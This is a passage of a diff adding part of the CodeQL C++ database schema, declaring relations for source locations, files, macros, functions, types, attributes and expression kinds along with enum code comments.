+    int file_number : int ref,
+    int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+    int id : @externalDataElement,
+    string path : string ref,
+    int column: int ref,
+    string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+    unique int id: @external_package,
+    string namespace : string ref,
+    string package_name : string ref,
+    string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+    int fileid : @file ref,
+    int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+    unique int id : @svnentry,
+    string revision : string ref,
+    string author : string ref,
+    date revisionDate : date ref,
+    int changeSize : int ref
+)
+
+svnaffectedfiles(
+    int id : @svnentry ref,
+    int file : @file ref,
+    string action : string ref
+)
+
+svnentrymsg(
+    unique int id : @svnentry ref,
+    string message : string ref
+)
+
+svnchurn(
+    int commit : @svnentry ref,
+    int file : @file ref,
+    int addedLines : int ref,
+    int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+    /** The location of an element that is not an expression or a statement. */
+    unique int id: @location_default,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+    /** The location of a statement. */
+    unique int id: @location_stmt,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+    /** The location of an expression. */
+    unique int id: @location_expr,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+    int element_id: @sourceline ref,
+    int num_lines: int ref,
+    int num_code: int ref,
+    int num_comment: int ref
+);
+
+diagnostics(
+    unique int id: @diagnostic,
+    int severity: int ref,
+    string error_tag: string ref,
+    string error_message: string ref,
+    string full_error_message: string ref,
+    int location: @location_default ref
+);
+
+files(
+    unique int id: @file,
+    string name: string ref
+);
+
+folders(
+    unique int id: @folder,
+    string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+    int parent: @container ref,
+    unique int child: @container ref
+);
+
+fileannotations(
+    int id: @file ref,
+    int kind: int ref,
+    string name: string ref,
+    string value: string ref
+);
+
+inmacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+/*
+  case @macroinvocations.kind of
+    1 = macro expansion
+  | 2 = other macro reference
+  ;
+*/
+macroinvocations(
+    unique int id: @macroinvocation,
+    int macro_id: @ppd_define ref,
+    int location: @location_default ref,
+    int kind: int ref
+);
+
+macroparent(
+    unique int id: @macroinvocation ref,
+    int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+    int id: @macroinvocation ref,
+    int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+/*
+  case @function.kind of
+    1 = normal
+  | 2 = constructor
+  | 3 = destructor
+  | 4 = conversion
+  | 5 = operator
+  | 6 = builtin     // GCC built-in functions, e.g. __builtin___memcpy_chk
+  ;
+*/
+functions(
+    unique int id: @function,
+    string name: string ref,
+    int kind: int ref
+);
+
+function_entry_point(int id: @function ref, unique int entry_point: @stmt ref);
+
+function_return_type(int id: @function ref, int return_type: @type ref);
+
+/** If `function` is a coroutine, then this gives the
+    std::experimental::resumable_traits instance associated with it,
+    and the variables representing the `handle` and `promise` for it. */
+coroutine(
+  unique int function: @function ref,
+  int traits: @type ref,
+  int handle: @variable ref,
+  int promise: @variable ref
+);
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+  unique int function: @function ref,
+  int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+  unique int function: @function ref,
+  int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+member_function_this_type(unique int id: @function ref, int this_type: @type ref);
+
+#keyset[id, type_id]
+fun_decls(
+    int id: @fun_decl,
+    int function: @function ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+    int id: @fun_decl ref,
+    string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+    int fun_decl: @fun_decl ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+    int fun_decl: @fun_decl ref,
+    int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+    unique int fun_decl: @fun_decl ref,
+    int typedeftype_id: @usertype ref
+);
+
+param_decl_bind(
+    unique int id: @var_decl ref,
+    int index: int ref,
+    int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+    int id: @var_decl,
+    int variable: @variable ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_decl_specifiers(
+    int id: @var_decl ref,
+    string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+
+type_decls(
+    unique int id: @type_decl,
+    int type_id: @type ref,
+    int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+    unique int type_decl: @type_decl ref
+);
+
+namespace_decls(
+    unique int id: @namespace_decl,
+    int namespace_id: @namespace ref,
+    int location: @location_default ref,
+    int bodylocation: @location_default ref
+);
+
+usings(
+    unique int id: @using,
+    int element_id: @element ref,
+    int location: @location_default ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+    int parent: @element ref,
+    int child: @using ref
+);
+
+static_asserts(
+    unique int id: @static_assert,
+    int condition : @expr ref,
+    string message : string ref,
+    int location: @location_default ref,
+    int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+    int id: @parameter,
+    int function: @functionorblock ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+overrides(int new: @function ref, int old: @function ref);
+
+#keyset[id, type_id]
+membervariables(
+    int id: @membervariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+    int id: @globalvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+    int id: @localvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+autoderivation(
+    unique int var: @variable ref,
+    int derivation_type: @type ref
+);
+
+enumconstants(
+    unique int id: @enumconstant,
+    int parent: @usertype ref,
+    int index: int ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/*
+  Built-in types are the fundamental types, e.g., integral, floating, and void.
+
+  case @builtintype.kind of
+    1 = error
+  | 2 = unknown
+  | 3 = void
+  | 4 = boolean
+  | 5 = char
+  | 6 = unsigned_char
+  | 7 = signed_char
+  | 8 = short
+  | 9 = unsigned_short
+  | 10 = signed_short
+  | 11 = int
+  | 12 = unsigned_int
+  | 13 = signed_int
+  | 14 = long
+  | 15 = unsigned_long
+  | 16 = signed_long
+  | 17 = long_long
+  | 18 = unsigned_long_long
+  | 19 = signed_long_long
+  | 20 = __int8                 // Microsoft-specific
+  | 21 = __int16                // Microsoft-specific
+  | 22 = __int32                // Microsoft-specific
+  | 23 = __int64                // Microsoft-specific
+  | 24 = float
+  | 25 = double
+  | 26 = long_double
+  | 27 = _Complex_float         // C99-specific
+  | 28 = _Complex_double        // C99-specific
+  | 29 = _Complex_long double   // C99-specific
+  | 30 = _Imaginary_float       // C99-specific
+  | 31 = _Imaginary_double      // C99-specific
+  | 32 = _Imaginary_long_double // C99-specific
+  | 33 = wchar_t                // Microsoft-specific
+  | 34 = decltype_nullptr       // C++11
+  | 35 = __int128
+  | 36 = unsigned___int128
+  | 37 = signed___int128
+  | 38 = __float128
+  | 39 = _Complex___float128
+  | 40 = _Decimal32
+  | 41 = _Decimal64
+  | 42 = _Decimal128
+  | 43 = char16_t
+  | 44 = char32_t
+  | 45 = _Float32
+  | 46 = _Float32x
+  | 47 = _Float64
+  | 48 = _Float64x
+  | 49 = _Float128
+  | 50 = _Float128x
+  | 51 = char8_t
+  ;
+*/
+builtintypes(
+    unique int id: @builtintype,
+    string name: string ref,
+    int kind: int ref,
+    int size: int ref,
+    int sign: int ref,
+    int alignment: int ref
+);
+
+/*
+  Derived types are types that are directly derived from existing types and
+  point to, refer to, transform type data to return a new type.
+
+  case @derivedtype.kind of
+    1 = pointer
+  | 2 = reference
+  | 3 = type_with_specifiers
+  | 4 = array
+  | 5 = gnu_vector
+  | 6 = routineptr
+  | 7 = routinereference
+  | 8 = rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+  | 10 = block
+  ;
+*/
+derivedtypes(
+    unique int id: @derivedtype,
+    string name: string ref,
+    int kind: int ref,
+    int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+    int size: int ref,
+    int alignment: int ref);
+
+arraysizes(
+    unique int id: @derivedtype ref,
+    int num_elements: int ref,
+    int bytesize: int ref,
+    int alignment: int ref
+);
+
+typedefbase(
+    unique int id: @usertype ref,
+    int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator.  For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * would change the semantics of this decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+#keyset[id, expr]
+decltypes(
+    int id: @decltype,
+    int expr: @expr ref,
+    int base_type: @type ref,
+    boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+  case @usertype.kind of
+    1 = struct
+  | 2 = class
+  | 3 = union
+  | 4 = enum
+  | 5 = typedef                       // classic C: typedef typedef type name
+  | 6 = template
+  | 7 = template_parameter
+  | 8 = template_template_parameter
+  | 9 = proxy_class                   // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+  | 13 = scoped_enum
+  | 14 = using_alias                  // a using name = type style typedef
+  ;
+*/
+usertypes(
+    unique int id: @usertype,
+    string name: string ref,
+    int kind: int ref
+);
+
+usertypesize(
+    unique int id: @usertype ref,
+    int size: int ref,
+    int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+    unique int id: @usertype ref,
+    string uuid: string ref
+);
+
+mangled_name(
+    unique int id: @declaration ref,
+    int mangled_name : @mangledname
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+    int to: @usertype ref,
+    int from: @usertype ref
+);
+class_template_argument(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+class_template_argument_value(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_proxy_class_for(
+    unique int id: @usertype ref,
+    unique int templ_param_id: @usertype ref
+);
+
+type_mentions(
+    unique int id: @type_mention,
+    int type_id: @type ref,
+    int location: @location ref,
+    // a_symbol_reference_kind from the EDG frontend.  See symbol_ref.h there.
+    int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+    unique int to: @function ref,
+    int from: @function ref
+);
+function_template_argument(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+function_template_argument_value(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+    unique int to: @variable ref,
+    int from: @variable ref
+);
+variable_template_argument(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+variable_template_argument_value(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+/*
+  Fixed point types
+  precision(1) = short, precision(2) = default, precision(3) = long
+  is_unsigned(1) = unsigned is_unsigned(2) = signed
+  is_fract_type(1) = declared with _Fract
+  saturating(1) = declared with _Sat
+*/
+/* TODO
+fixedpointtypes(
+    unique int id: @fixedpointtype,
+    int precision: int ref,
+    int is_unsigned: int ref,
+    int is_fract_type: int ref,
+    int saturating: int ref);
+*/
+
+routinetypes(
+    unique int id: @routinetype,
+    int return_type: @type ref
+);
+
+routinetypeargs(
+    int routine: @routinetype ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+ptrtomembers(
+    unique int id: @ptrtomember,
+    int type_id: @type ref,
+    int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+    "public",
+    "protected",
+    "private",
+
+    "const",
+    "volatile",
+    "static",
+
+    "pure",
+    "virtual",
+    "sealed", // Microsoft
+    "__interface", // Microsoft
+    "inline",
+    "explicit",
+
+    "near", // near far extension
+    "far", // near far extension
+    "__ptr32", // Microsoft
+    "__ptr64", // Microsoft
+    "__sptr", // Microsoft
+    "__uptr", // Microsoft
+    "dllimport", // Microsoft
+    "dllexport", // Microsoft
+    "thread", // Microsoft
+    "naked", // Microsoft
+    "microsoft_inline", // Microsoft
+    "forceinline", // Microsoft
+    "selectany", // Microsoft
+    "nothrow", // Microsoft
+    "novtable", // Microsoft
+    "noreturn", // Microsoft
+    "noinline", // Microsoft
+    "noalias", // Microsoft
+    "restrict", // Microsoft
+*/
+
+specifiers(
+    unique int id: @specifier,
+    unique string str: string ref
+);
+
+typespecifiers(
+    int type_id: @type ref,
+    int spec_id: @specifier ref
+);
+
+funspecifiers(
+    int func_id: @function ref,
+    int spec_id: @specifier ref
+);
+
+varspecifiers(
+    int var_id: @accessible ref,
+    int spec_id: @specifier ref
+);
+
+attributes(
+    unique int id: @attribute,
+    int kind: int ref,
+    string name: string ref,
+    string name_space: string ref,
+    int location: @location_default ref
+);
+
+case @attribute.kind of
+  0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+    unique int id: @attribute_arg,
+    int kind: int ref,
+    int attribute: @attribute ref,
+    int index: int ref,
+    int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+  0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+;
+
+attribute_arg_value(
+    unique int arg: @attribute_arg ref,
+    string value: string ref
+);
+attribute_arg_type(
+    unique int arg: @attribute_arg ref,
+    int type_id: @type ref
+);
+attribute_arg_name(
+    unique int arg: @attribute_arg ref,
+    string name: string ref
+);
+
+typeattributes(
+    int type_id: @type ref,
+    int spec_id: @attribute ref
+);
+
+funcattributes(
+    int func_id: @function ref,
+    int spec_id: @attribute ref
+);
+
+varattributes(
+    int var_id: @accessible ref,
+    int spec_id: @attribute ref
+);
+
+stmtattributes(
+    int stmt_id: @stmt ref,
+    int spec_id: @attribute ref
+);
+
+@type = @builtintype
+      | @derivedtype
+      | @usertype
+      /* TODO | @fixedpointtype */
+      | @routinetype
+      | @ptrtomember
+      | @decltype;
+
+unspecifiedtype(
+    unique int type_id: @type ref,
+    int unspecified_type_id: @type ref
+);
+
+member(
+    int parent: @type ref,
+    int index: int ref,
+    int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+    unique int child: @enclosingfunction_child ref,
+    int parent: @function ref
+);
+
+derivations(
+    unique int derivation: @derivation,
+    int sub: @type ref,
+    int index: int ref,
+    int super: @type ref,
+    int location: @location_default ref
+);
+
+derspecifiers(
+    int der_id: @derivation ref,
+    int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+    unique int der_id: @derivation ref,
+    int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+    int sub: @usertype ref,
+    int super: @usertype ref,
+    int offset: int ref
+);
+
+frienddecls(
+    unique int id: @frienddecl,
+    int type_id: @type ref,
+    int decl_id: @declaration ref,
+    int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+             | @declaredtype
+             | @variable
+             | @enumconstant
+             | @frienddecl;
+
+@member = @membervariable
+        | @function
+        | @declaredtype
+        | @enumconstant;
+
+@locatable = @diagnostic
+           | @declaration
+           | @ppd_include
+           | @ppd_define
+           | @macroinvocation
+           /*| @funcall*/
+           | @xmllocatable
+           | @attribute
+           | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+         | @file
+         | @folder
+         | @specifier
+         | @type
+         | @expr
+         | @namespace
+         | @initialiser
+         | @stmt
+         | @derivation
+         | @comment
+         | @preprocdirect
+         | @fun_decl
+         | @var_decl
+         | @type_decl
+         | @namespace_decl
+         | @using
+         | @namequalifier
+         | @specialnamequalifyingelement
+         | @static_assert
+         | @type_mention
+         | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+    unique int id: @comment,
+    string contents: string ref,
+    int location: @location_default ref
+);
+
+commentbinding(
+    int id: @comment ref,
+    int element: @element ref
+);
+
+exprconv(
+    int converted: @expr ref,
+    unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+    int element: @element ref,
+    int i: int ref,
+    int destructor_call: @routineexpr ref
+);
+
+namespaces(
+    unique int id: @namespace,
+    string name: string ref
+);
+
+namespace_inline(
+    unique int id: @namespace ref
+);
+
+namespacembrs(
+    int parentid: @namespace ref,
+    unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+    int expr_id: @expr ref,
+    int child_index: int ref,
+    int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+      | @const_cast
+      | @dynamic_cast
+      | @reinterpret_cast
+      | @static_cast
+      ;
+
+/*
+case @conversion.kind of
+  0 = @simple_conversion           // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion             // conversion to 'bool'
+| 2 = @base_class_conversion       // a derived-to-base conversion
+| 3 = @derived_class_conversion    // a base-to-derived conversion
+| 4 = @pm_base_class_conversion    // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust              // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust              // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+    unique int expr_id: @cast ref,
+    int kind: int ref
+);
+
+@conversion = @cast
+            | @array_to_pointer
+            | @parexpr
+            | @reference_to
+            | @ref_indirect
+            | @temp_init
+            ;
+
+/*
+case @funbindexpr.kind of
+  0 = @normal_call  // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call     // a call whose target is only found by ADL
+;
+*/
+iscall(unique int caller: @funbindexpr ref, int kind: int ref);
+
+numtemplatearguments(
+    unique int expr_id: @expr ref,
+    int num: int ref
+);
+
+specialnamequalifyingelements(
+    unique int id: @specialnamequalifyingelement,
+    unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+                       | @specialnamequalifyingelement
+                       | @usertype;
+
+namequalifiers(
+    unique int id: @namequalifier,
+    unique int qualifiableelement: @namequalifiableelement ref,
+    int qualifyingelement: @namequalifyingelement ref,
+    int location: @location_default ref
+);
+
+varbind(
+    int expr: @varbindexpr ref,
+    int var: @accessible ref
+);
+
+funbind(
+    int expr: @funbindexpr ref,
+    int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+              | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+                    | @delete_expr
+                    | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+                  | @unaryplusexpr
+                  | @conjugation
+                  | @realpartexpr
+                  | @imagpartexpr
+                  | @crement_expr
+                  ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+            | @indirect
+            | @un_arith_op_expr
+            | @un_bitwise_op_expr
+            | @builtinaddressof
+            | @vec_fill
+            | @un_log_op_expr
+            | @co_await
+            | @co_yield
+            ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+             | @ltexpr
+             | @geexpr
+             | @leexpr
+             | @spaceshipexpr
+             ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+                     | @rshiftexpr
+                     | @andexpr
+                     | @orexpr
+                     | @xorexpr
+                     ;
+
+@p_arith_op_expr = @paddexpr
+                 | @psubexpr
+                 | @pdiffexpr
+                 ;
+
+@bin_arith_op_expr = @addexpr
+                   | @subexpr
+                   | @mulexpr
+                   | @divexpr
+                   | @remexpr
+                   | @jmulexpr
+                   | @jdivexpr
+                   | @fjaddexpr
+                   | @jfaddexpr
+                   | @fjsubexpr
+                   | @jfsubexpr
+                   | @minexpr
+                   | @maxexpr
+                   | @p_arith_op_expr
+                   ;
+
+@bin_op_expr = @bin_arith_op_expr
+             | @bin_bitwise_op_expr
+             | @cmp_op_expr
+             | @bin_log_op_expr
+             ;
+
+@op_expr = @un_op_expr
+         | @bin_op_expr
+         | @assign_expr
+         | @conditionalexpr
+         ;
+
+@assign_arith_expr = @assignaddexpr
+                   | @assignsubexpr
+                   | @assignmulexpr
+                   | @assigndivexpr
+                   | @assignremexpr
+                   ;
+
+@assign_bitwise_expr = @assignandexpr
+                     | @assignorexpr
+                     | @assignxorexpr
+                     | @assignlshiftexpr
+                     | @assignrshiftexpr
+                     | @assignpaddexpr
+                     | @assignpsubexpr
+                     ;
+
+@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr
+
+@assign_expr = @assignexpr | @assign_op_expr
+
+/*
+  case @allocator.form of
+    0 = plain
+  | 1 = alignment
+  ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+    unique int expr: @any_new_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/*
+  case @deallocator.form of
+    0 = plain
+  | 1 = size
+  | 2 = alignment
+  | 3 = size_and_alignment
+  ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+    unique int expr: @new_or_delete_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+    unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+    unique int cond: @conditionalexpr ref,
+    int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+    unique int cond: @conditionalexpr ref,
+    int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+    unique int cond: @conditionalexpr ref,
+    int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+    unique int id: @value,
+    string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+    unique int id: @value ref,
+    string text: string ref
+);
+
+valuebind(
+    int val: @value ref,
+    unique int expr: @expr ref
+);
+
+fieldoffsets(
+    unique int id: @variable ref,
+    int byteoffset: int ref,
+    int bitoffset: int ref
+);
+
+bitfield(
+    unique int id: @variable ref,
+    int bits: int ref,
+    int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+    int member: @expr ref,
+    int prefix: @expr ref
+);
+*/
+
+/*
+   kind(1) = mbrcallexpr
+   kind(2) = mbrptrcallexpr
+   kind(3) = mbrptrmbrcallexpr
+   kind(4) = ptrmbrptrmbrcallexpr
+   kind(5) = mbrreadexpr // x.y
+   kind(6) = mbrptrreadexpr // p->y
+   kind(7) = mbrptrmbrreadexpr // x.*pm
+   kind(8) = mbrptrmbrptrreadexpr // x->*pm
+   kind(9) = staticmbrreadexpr // static x.y
+   kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+    int member: @expr ref,
+    int kind: int ref
+);
+*/
+
+initialisers(
+    unique int init: @initialiser,
+    int var: @accessible ref,
+    unique int expr: @expr ref,
+    int location: @location_expr ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+    int exp: @expr ref,
+    int ancestor: @element ref
+);
+
+exprs(
+    unique int id: @expr,
+    int kind: int ref,
+    int location: @location_expr ref
+);
+
+/*
+  case @value.category of
+    1 = prval
+  | 2 = xval
+  | 3 = lval
+  ;
+*/
+expr_types(
+    int id: @expr ref,
+    int typeid: @type ref,
+    int value_category: int ref
+);
+
+case @expr.kind of
+    1 = @errorexpr
+|   2 = @address_of // & AddressOfExpr
+|   3 = @reference_to // ReferenceToExpr (implicit?)
+|   4 = @indirect // * PointerDereferenceExpr
+|   5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+|   8 = @array_to_pointer // (???)
+|   9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+|  11 = @assume // Microsoft
+|  12 = @parexpr
+|  13 = @arithnegexpr
+|  14 = @unaryplusexpr
+|  15 = @complementexpr
+|  16 = @notexpr
+|  17 = @conjugation // GNU ~ operator
+|  18 = @realpartexpr // GNU __real
+|  19 = @imagpartexpr // GNU __imag
+|  20 = @postincrexpr
+|  21 = @postdecrexpr
+|  22 = @preincrexpr
+|  23 = @predecrexpr
+|  24 = @conditionalexpr
+|  25 = @addexpr
+|  26 = @subexpr
+|  27 = @mulexpr
+|  28 = @divexpr
+|  29 = @remexpr
+|  30 = @jmulexpr // C99 mul imaginary
+|  31 = @jdivexpr // C99 div imaginary
